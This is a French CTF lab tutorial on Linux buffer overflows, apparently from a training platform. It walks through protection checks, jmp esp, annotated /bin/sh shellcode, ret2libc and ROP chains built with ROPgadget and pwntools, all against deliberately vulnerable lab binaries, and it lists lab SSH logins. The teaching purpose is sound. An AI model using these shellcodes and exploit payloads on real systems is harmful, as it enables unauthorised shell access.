Hacker Lab

Buffer overflows - Système sans protection


Linux dispose de protection contre le buffer Overflow. On commence par les désactiver, et on les réactive au fur et à mesure pour monter la difficulté.
Nos buffers overflow permettent de toucher du doigt le principe sans mettre les mains dans l'assembleur.

Démarrez votre serveur dédié en cliquant sur [Start server].


Server status : stopped


1 / 10 - Ca dépasse !!
10
ssh bender@ctf-buffer_          
mdp: leelu 

On y va

2 / 10 - Détection des sécurités
50

NX bit

$ readelf -l vuln | grep GNU_STACK 
... 
Program Headers: 
Type      Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align 
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 
=> RW : Pas de E, la pile n'est pas executable. 

ASLR

cat /proc/sys/kernel/randomize_va_space 
0 : Off 
1 : On 
2 : Default 

Pwntools checksec

$ pwn checksec `which ls` 
[*] '/bin/ls' 
Arch:     amd64-64-little 
RELRO:    Full RELRO 
Stack:    Canary found 
NX:       NX enabled 
PIE:      PIE enabled 
FORTIFY:  Enabled 

trapkit.de checksec

http://www.trapkit.de/tools/checksec.html 
$ wget http://www.trapkit.de/tools/checksec.sh 
$ ./checksec.sh --file `which ls` 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE 
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   /bin/ls 
3 / 10 - Ret2Reg - Jump ESP
50
ssh zapp@ctf-buffer_ 
mdp: kif 

Avant 2005, sous Linux, la Stack était toujours située à la même adresse, ce qui rendait les exploits de buffer relativement faciles.
La protection ASLR (Address Space Layout Randomization) a donc été introduite: à chaque lancement d'un programme d'adresse de sa Stack change.
Cette protection est activée par défaut sur Linux depuis le kernel 2.6.20 (juin 2005).

Les techniques appelées Ret2Reg, utilisent des registres qui pointent déjà vers la Stack.
La technique de Jump ESP permet de se passer de la connaissance de l'adresse de la Stack.
Elle consiste littéralement à dire au processeur: 'ta prochaine instruction se trouve à l'adresse pointée par le registre ESP... Or le registre ESP a pour vocation de pointer la Stack.

Il faut trouver dans le code du programme l'instruction en assembleur 'jmp ESP', et mettre son adresse dans EIP.
Dans un gros programme, on a des chances d'en trouver une. Dans le cadre d'un CTF, cette instruction est volontairement introduite :).

Cherchons l'adresse d'un 'jmp esp' dans notre binaire avec 'objdump -d xxx' :

$ objdump -d say_hello5| grep esp | grep jmp 
0804846b <jmp_esp>: 
804846e:    ff e4                   jmp    *%esp 

Nous en avons une en 0x0804846e.
Sur un processeur Intel, nous l'écrivons en inversant l'ordre les octets '\x6e\x84\x04\x08'.
Nous faisons comme sur les exploits précédents, et plaçons l'adresse de cette instruction dans EIP.

Nous plaçons ensuite sur la stack une payload en assembleur qui va ouvrir un shell /bin/sh.

Remplaçez l'adresse par celle correspondant à votre système.

4 / 10 - Shellcode : sys_execve("/bin/sh")
50

Nous allons travailler avec un shell code qui est une référence.

'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh' 

Il a été détaillé par Aleph one dans son article sur les Buffers overflows http://phrack.org/issues/49/14.html.

Lire la section 'Shell Code' pour plus de détail.
Aleph One compile un programme en C qui lance un shell /bin/sh.

void main() { 
   char *name[2]; 
    name[0] = "/bin/sh"; 
    name[1] = NULL; 
    execve(name[0], name, NULL); 
} 

Il récupère le code assembleur généré par gcc, et le modifie à la main pour retirer les caractères tels que \x00.
Une fois optimisé, il obtient:

label_start:                       ; 1 - nous n'avons aucune idée de l'adresse ou se trouve /bin/sh 
\xeb\x1f        jmp loc_00000021   ; 1 - on saute 21 bytes plus loin avec un jump 
label_continue: 
\x5e            pop esi            ; 3 - on récupère l'adresse de /bin/sh avec un pop et on la place dans esi 

label_sys_execve:                  ; 3- on prépare les paramètres de la fonction sys_execve 
\x89\x76\x08    mov DWORD PTR [esi+0x8],esi  ; 3- on sauve l'adresse de /bin/sh en [esi+0x8] 
\x31\xc0        xor eax,eax        ; 3 - eax=0000 
\x88\x46\x07    mov BYTE PTR [esi+0x7],al ; 3- on s'assure que /bin/sh se termine par un caractère null 
\x89\x46\x0c    mov DWORD PTR [esi+0xc],eax ; 3- on place 0000 en [esi+0xc] 
\xb0\x0b        mov al,0xb         ; 3- eax = 0x0b : appel de sys_execve 
\x89\xf3        mov ebx, esi       ; 3- ebx : adresse de l'adresse de /bin/sh 
\x8d\x4e\x08    lea ecx,[esi+0x8]  ; 3- ecx : adresse de /bin/sh 
\x8d\x56\x0c    lea edx,[esi+0xc]  ; 3- edx : adresse du null long word 
\xcd\x80        int 0x80           ; 3- On déclenche l'appel à  sys_execve 

\x31\xdb        xor ebx,ebx        ; 4- On place 0 dans ebx : sys_exit retourne 0 
\x89\xd8        mov eax,ebx        ; 4- on place 0 dans eax 
\x40            inc eax            ; 4- et on l'incémente à 1 => la fonction appellée par int80 est sys_exit 
\xcd\x80        int 0x80           ; 4- On appelle int 0x80 pour appeler sys_exit et quitter proprement 
loc_00000021: 
\xe8\xdc\xff\xff\xff call offset_to_label_pop ; 2 - on revient en arrière de 23 bytes avec un call. L'adresse actuelle est sauvée  dans la pile. Cette adresse est aussi celle de /bin/sh 
loc_esi: 
/bin/sh 
loc_esi+7: 
0                                  ; forcé  à 0 
loc_esi+8: 
xxxx                               ; contiendra l'adresse de /bin/sh 
loc_esi+c: 
0000                               ; contiendra un double word null 

Ne jamais utiliser un shell sans savoir ce qu'il fait.
Pour retrouver les appels de fonction:
Rechercher les int 80 et vérifier la valeur de ebx lors de l'interruption.
Utiliser un desassembleur : https://onlinedisassembler.com/odaweb/
Trouver la fonction appelée dans une table Linux System Call : https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html

Ce shell est un shell linux en 32 bits.

5 / 10 - Shellcode2 : sys_execve("/bin//sh")
50
"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"; 
31 c0                    xor    %eax,%eax     ; eax = 0000 
50                       push   %eax          ; on place 0 sur la stack 
68 2f 2f 73 68           push   $0x68732f2f   ; on place //sh sur la stack 
68 2f 62 69 6e           push   $0x6e69622f   ; on place /bin 
89 e3                    mov    %ebx,%esp     ; on met l'adresse de /bin//sh dans ebx 
50                       push   %eax          ; on place 0 sur la stack 
53                       push   %ebx          ; on place l'adresse de /bin//sh sur la stack 
89 e1                    mov    %ecx, %esp    ; ecx = adresse de l'adresse de /bin//sh 
99                       cltd                 ; edx is filled with the most significant bit of eax: 0 
b0 0b                    mov    $0xb,%al      ; eax = 0x0b : appel de sys_execve 
cd 80                    int    $0x80         ; appel de sys_execve() 

source: http://shell-storm.org/shellcode/files/shellcode-491.php

6 / 10 - Ret2LibC
50
ssh zapp@ctf-buffer_ 
mdp: kif 

L'ASLR est activé: Le système place les programmes aléatoirement en mémoire. Il n'est plus possible de trouver les adresses des fonctions.
Hack n do a réalisé un excellent tuto sur le ret2libC : https://beta.hackndo.com/retour-a-la-libc/

Méthode
Nous utilisons les adresses des fonctions de la libC qui est partagée par de nombreux programmes.
Nous utilisons un appel à la fonction 'system', et à la fonction 'exit'.
Nous allons placer la chaine '/bin/sh' dans une variable d'environnement et récupérer son adresse.
Nous allons utiliser la payload suivante:

[x*0x90][adresse system][adresse exit][adresse /bin/sh] 


Trouver n

gdb -batch -ex='run' -args ./say_hello5 $(python pattern.py 300) 
Hello Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 

Program received signal SIGSEGV, Segmentation fault. 
0x31684130 in ?? () 

$ python pattern.py 0x31684130 
Pattern 0x31684130 first occurrence at position 212 in pattern. 

n vaut 212.

Adresse de 'system' dans la libC

gdb -batch -ex='b 36' -ex='run' -ex='print system' -args ./say_hello5 $(python -c "print '\x90'*(212)") 
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36. 
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36 
36          if (argc<=1) { 
$1 = {<text variable, no debug info>} 0xf7e51da0 <__libc_system> 

Adresse de system: 0xf7e51da0

Adresse de 'exit' dans la libC

Breakpoint 1 at 0x8048503: file buffer_05.c, line 36. 

Breakpoint 1, main (argc=2, argv=0xffffd774) at buffer_05.c:36 
36      if (argc<=1) { 
$1 = {<text variable, no debug info>} 0xf7e479d0 <__GI_exit> 

Adresse de exit: 0xf7e479d0

Adresse de '/bin/sh'
Injectons la chaine de caractères /bin/sh dans une variable d'environnement.

Récupérons l'adresse

Breakpoint 1 at 0x8048503: file buffer_05.c, line 36. 

Breakpoint 1, main (argc=2, argv=0xffffd774) at buffer_05.c:36 
36      if (argc<=1) { 
0xffffd97c: "HOSTNAME=0df9c752089e" 
... 
0xffffd9d4: "MYSHELL=/bin/sh" 
0xffffd9e4: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" 
... 
0xffffdfca: "PWD=/home/zapp" 
0xffffdfd9: "LINES=28" 
0xffffdfe2: "/home/zapp/say_hello5" 

Adresse de "MYSHELL=/bin/sh" quand on est dans un contexte gdb: 0xffffd9d4
! On décale l'adresse des 8 caractères de "MYSHELL=" !
Adresse de "/bin/sh" quand on est dans un contexte gdb: 0xffffd9dc

Construction de la payload

[212*0x90][adresse system][adresse exit][adresse /bin/sh] 
'\x90'*(212)+'\x70\x83\x04\x08'+'\xd0\x79\xe4\xf7'+'\xdc\xd9\xff\xff' 


./say_hello5 $(python -c "print '\x90'*(212)+'\x70\x83\x04\x08\xd0\x79\xe4\xf7\xd4\xd9\xff\xff'")

En 64 bit, on n'utilise plus la pile, mais les registres. Il faut donc passer ces 3 adresses dans des registres.

$ gdb -batch -ex='run'  -args  ./say_hello5 $(python -c "print '\x90'*(212)+'\xa0\x1d\xe5\xf7\xd0\x59\xe4\xf7\x7d\xde\xff\xff'") 
Hello ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Y��}��� 
zapp@ctf-buffer:~ $ 

Pour vérifier que nous sommes bien dans un shell fils de notre process, utilisons la commande:

$ ps eaxf 
PID TTY      STAT   TIME COMMAND 
1 ?        Ss     0:00 /usr/sbin/sshd -D 
6 ?        Ss     0:00 sshd: zapp [priv] 
16 ?        S      0:00  \_ sshd: zapp@pts/0 
17 pts/0    Ss     0:00      \_ -bash USER=zapp LOGNAME=zapp HOME=/home/zapp PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bi 
402 pts/0    S      0:00          \_ gdb -batch -ex=run -args ./say_hello5 ??????????????????????????????????????????????????????????????????? 
404 pts/0    S      0:00              \_ /home/zapp/say_hello5 ??????????????????????????????????????????????????????????????????????????????? 
408 pts/0    S      0:00                  \_ sh -c /bin/bash SHELL=/bin/bash TERM=xterm-color SSH_CLIENT=16.3.0.2 52860 22 SSH_TTY=/dev/pts/0 
409 pts/0    S      0:00                      \_ /bin/bash MAIL=/var/mail/zapp SSH_CLIENT=16.3.0.2 52860 22 USER=zapp SHLVL=1 HOME=/home/zapp 
412 pts/0    R+     0:00                          \_ ps eaxf SHELL=/bin/bash TERM=xterm-color SSH_CLIENT=16.3.0.2 52860 22 SSH_TTY=/dev/pts/0 
zapp@ctf-buffer:~$ 
7 / 10 - Trouver /bin/sh dans la libC
50

Pour s'arréter en début de programme:

-ex='b 36'        -ex='run' 
-ex='break main'  -ex='run' 

Pour trouver l'adresse de /bin/sh dans la libC, sans avoir à créer une variable d'environnement:

-ex='find &system,+9999999,"/bin/sh"' 
-ex='find __libc_start_main,__libc_start_main+99999999,"/bin/sh"' 
$ gdb -batch -ex='b 36'  -ex='run' -ex='find __libc_start_main,__libc_start_main+99999999,"/bin/sh"'  -args ./say_hello5 $(python -c "print '\x90'*(212)") 

Breakpoint 1 at 0x8048503: file buffer_05.c, line 36. 
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36 
36          if (argc<=1) { 
process 469 
0xf7f72a0b 
warning: Unable to access 16000 bytes of target memory at 0xf7fcc793, halting search. 
1 pattern found. 

/bin/sh est présent à l'adresse: 0xf7f72a0b

Vérifier le contenu de l'adresse:

$ gdb -batch -ex='b 36'  -ex='run' -ex='x/s 0xf7f72a0b'  -args ./say_hello5 $(python -c "print '\x90'*(212)") 
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36. 
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36 
36          if (argc<=1) { 
process 476 
0xf7f72a0b:     "/bin/sh" 
8 / 10 - Trouver les plages d'adresses utiles pour rechercher des valeurs en mémoire
50

On lance gdb, pose un breakpoint ligne 36, démarre le programme qui va s'arréter au break point et on demande : info proc map

$ gdb -batch -ex='b 36'  -ex='run' -ex='info proc map'  -args ./say_hello5 $(python -c "print '\x90'*(212)") 
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36. 
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36 
36          if (argc<=1) { 
process 476 
Mapped address spaces: 

Start Addr   End Addr       Size     Offset objfile 
0x8048000  0x8049000     0x1000        0x0 /home/zapp/say_hello5 
0x8049000  0x804a000     0x1000        0x0 /home/zapp/say_hello5 
0x804a000  0x804b000     0x1000     0x1000 /home/zapp/say_hello5 
0xf7e16000 0xf7e17000     0x1000        0x0 
0xf7e17000 0xf7fc7000   0x1b0000        0x0 /lib/i386-linux-gnu/libc-2.23.so 
0xf7fc7000 0xf7fc9000     0x2000   0x1af000 /lib/i386-linux-gnu/libc-2.23.so 
0xf7fc9000 0xf7fca000     0x1000   0x1b1000 /lib/i386-linux-gnu/libc-2.23.so 
0xf7fca000 0xf7fcd000     0x3000        0x0 
0xf7fd3000 0xf7fd4000     0x1000        0x0 
0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar] 
0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso] 
0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib/i386-linux-gnu/ld-2.23.so 
0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib/i386-linux-gnu/ld-2.23.so 
0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib/i386-linux-gnu/ld-2.23.so 
0xfffdd000 0xffffe000    0x21000        0x0 [stack] 
9 / 10 - ROP
50

Lire deux explications:
Hackndo: https://beta.hackndo.com/return-oriented-programming/
Geluchat: https://www.dailysecurity.fr/return_oriented_programming/

Se connecter en ssh:

ssh zapp@ctf-buffer_ 
mdp: kif 

Determiner la position de l'overflow

$ python pattern.py 300 > /tmp/pattern 
$ gdb -batch -ex='run < /tmp/pattern' -args ./rop 
You password is incorrect 

Program received signal SIGSEGV, Segmentation fault. 
0x66413965 in ?? () 
$ python pattern.py 0x66413965 
Pattern 0x66413965 first occurrence at position 148 in pattern. 

Générer une chaine de rop

ROPgadget --binary rop --depth 3  --ropchain 

Copier/Coller le programme python généré, le nettoyer.
Ajouter le pading initial, et un print final.


from struct import pack 

p = 'A'*148 

p += pack('<I', 0x0806ee3a) # pop edx ; ret 
p += pack('<I', 0x080ea000) # @ .data 

p += pack('<I', 0x080b8186) # pop eax ; ret 
p += '/bin' 

p += pack('<I', 0x0805486b) # mov dword ptr [edx], eax ; ret 

p += pack('<I', 0x0806ee3a) # pop edx ; ret 
p += pack('<I', 0x080ea004) # @ .data + 4 
p += pack('<I', 0x080b8186) # pop eax ; ret 
p += '//sh' 
p += pack('<I', 0x0805486b) # mov dword ptr [edx], eax ; ret 

p += pack('<I', 0x0806ee3a) # pop edx ; ret 
p += pack('<I', 0x080ea008) # @ .data + 8 
p += pack('<I', 0x08049493) # xor eax, eax ; ret 
p += pack('<I', 0x0805486b) # mov dword ptr [edx], eax ; ret 

p += pack('<I', 0x080481c9) # pop ebx ; ret 
p += pack('<I', 0x080ea000) # @ .data 
p += pack('<I', 0x080de8ad) # pop ecx ; ret 
p += pack('<I', 0x080ea008) # @ .data + 8 
p += pack('<I', 0x0806ee3a) # pop edx ; ret 
p += pack('<I', 0x080ea008) # @ .data + 8 
p += pack('<I', 0x08049493) # xor eax, eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0807a81f) # inc eax ; ret 
p += pack('<I', 0x0806cab5) # int 0x80 
print(p) 

On lance ./rop avec un strace:

$ echo "yop" | strace ./rop 
execve("./rop", ["./rop"], [/* 14 vars */]) = 0 
strace: [ Process PID=649 runs in 32 bit mode. ] 
uname({sysname="Linux", nodename="ctf-buffer", ...}) = 0 
brk(NULL)                               = 0x8203000 
brk(0x8203d40)                          = 0x8203d40 
set_thread_area({entry_number:-1, base_addr:0x8203840, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:12) 
readlink("/proc/self/exe", "/home/zapp/rop", 4096) = 14 
brk(0x8224d40)                          = 0x8224d40 
brk(0x8225000)                          = 0x8225000 
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory) 
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 
read(0, "yop\n", 4096)                  = 4 
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 
write(1, "You password is incorrect\n", 26You password is incorrect 
) = 26 
==> On termine le programme 
exit_group(0)                           = ? 
+++ exited with 0 +++ 

On lance le rop avec un strace:

$ /tmp/rop_payload.py | strace ./rop 
execve("./rop", ["./rop"], [/* 14 vars */]) = 0 
... On retrouve les mêmes instructions 
==> On part sur un appel système execve. 
execve("/bin//sh", [], [/* 0 vars */])  = 0 
strace: [ Process PID=653 runs in 64 bit mode. ] 
brk(NULL)                               = 0x55818d68b000 
... 
==> Le comportement est celui d'un /bin//sh classique 
Ici, il exit au lieu d'ouvrir un tty 
read(0, "", 8192)                       = 0 
exit_group(0)                           = ? 
+++ exited with 0 +++ 

Quelques outils:

https://github.com/JonathanSalwan/ROPgadget 
https://github.com/david942j/one_gadget 
https://github.com/sashs/Ropper 

Nous ne pouvons pas ouvrir de terminal, nous allons injecter nos commandes à la suite de la payload

.... 
p += pack('<I', 0x0806cab5) # int 0x80 
p += "\n" * 10000 # une rampe de retour à la ligne 
p += "id; ls\n"   # nos commandes bash: id et ls 
print(p) 

Et c'est reparti

$ /tmp/rop_payload.py | ./rop 
You password is incorrect 
uid=1005(zapp) gid=1005(zapp) groups=1005(zapp) 
buffer_05.c  buffer_rop.c  pattern.py  rop  say_hello5 

Success :)

10 / 10 - ROP interactif avec pwntools
50

La librairie python pwntools permet de récupérer un tty avec la fonction r.interactive()


from pwn import * 
from struct import pack 

r = process("./rop") 

p = "A"*148 
p += pack('<I', 0x0806ed1a)     # pop edx ; ret 
... 
p += pack('<I', 0x0806c985)     # int 0x80 

r.sendline(p) 
r.interactive()